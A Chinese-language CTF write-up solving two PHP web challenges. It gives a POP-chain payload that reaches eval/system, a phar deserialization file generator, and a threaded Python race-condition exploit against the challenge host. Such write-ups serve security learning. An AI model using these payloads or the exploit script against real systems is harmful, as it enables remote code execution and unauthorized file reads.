warmup-php
先分析一下index.php的内容,创建一个对象,并且循环赋值,然后调用run函数。
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
我们先找一下利用可以利用的点:
在Base.php的evaluateExpression
函数中有个eval
可以利用。
在TestView.php中的renderTableRow
函数可以触发Base.php的evaluateExpression
函数。
而TestView.php中的renderTableRow
函数又可以通过renderTableBody
函数触发。
那么怎么触发TestView.php中的renderTableBody
函数呢?
在index.php中run函数只有ListView.php有,通过run->renderContent->renderSection
来连接一个renderTableBody
最后链子就是这样子
action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()
然后在看一下参数rowHtmlOptionsExpression
和data
,row以存在。
最后payload可以构造为
GET:?action=TestView
POST:1=system('/readflag');&properties[template]={TableBody}&properties[data]=phph&properties[rowHtmlOptionsExpression]=eval($_POST[1])
soeasy_php
这边可以任意文件读取
然后就可以拿到源码了。
也可以用curl
upload.php
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}
$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};
?>
edit.php
我们可以看到 flag
类中,把 flag
以 www-data
权限写到了 /tmp/flag.txt
,那么做法就一目了然了,利用 phar
反序列化,那么在哪边触发 phar
反序列化呢?
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
?>
先构造一个 phar 文件。
<?php
class flag{
}
$flag = new flag();
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($flag);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
我们看一下下面这段代码,当 symlink($filename, $head)
判断为 false
的时候(可以添加一点脏数据绕过),会利用 unlink
删除文件,这边 unlink
可以触发 phar
反序列化,但是 flag
类,它是把 flag
写入了临时目录里,当 post
表单结束是时会自动删除,所以我们要条件竞争,在它删除前替换头像读取它。
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
exp:
import requests
import threading
import time
url = "http://d2151e13-985d-4e41-858d-777188ae6b1d.node4.buuoj.cn:81/"
png = "/uploads/head.png"
flag = "../../../../../../tmp/flag.txt"
phar = """phar://../../../../../../var/www/html/uploads/847d0f7423cc68ed6b91da337e722203.png/test.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"""
#读取flag
def getpng():
res = requests.get(url+png)
print(res.text)
#把头像链接转为 flag 链接
def linkflag():
data = {
"flag":"1",
"png":flag
}
res = requests.post(url=url+"/edit.php",data=data)
print(res.text)
#触发phar,把flag 写入 /tmp/flag.txt
def putphar():
data = {
"flag":"1",
"png":phar
}
res = requests.post(url=url+"/edit.php",data=data)
print(res.text)
while True:
for i in range(10):
t3 = threading.Thread(target=putphar)
t3.start()
t2 = threading.Thread(target=linkflag)
t2.start()
t1 = threading.Thread(target=getpng)
t1.start()
time.sleep(5)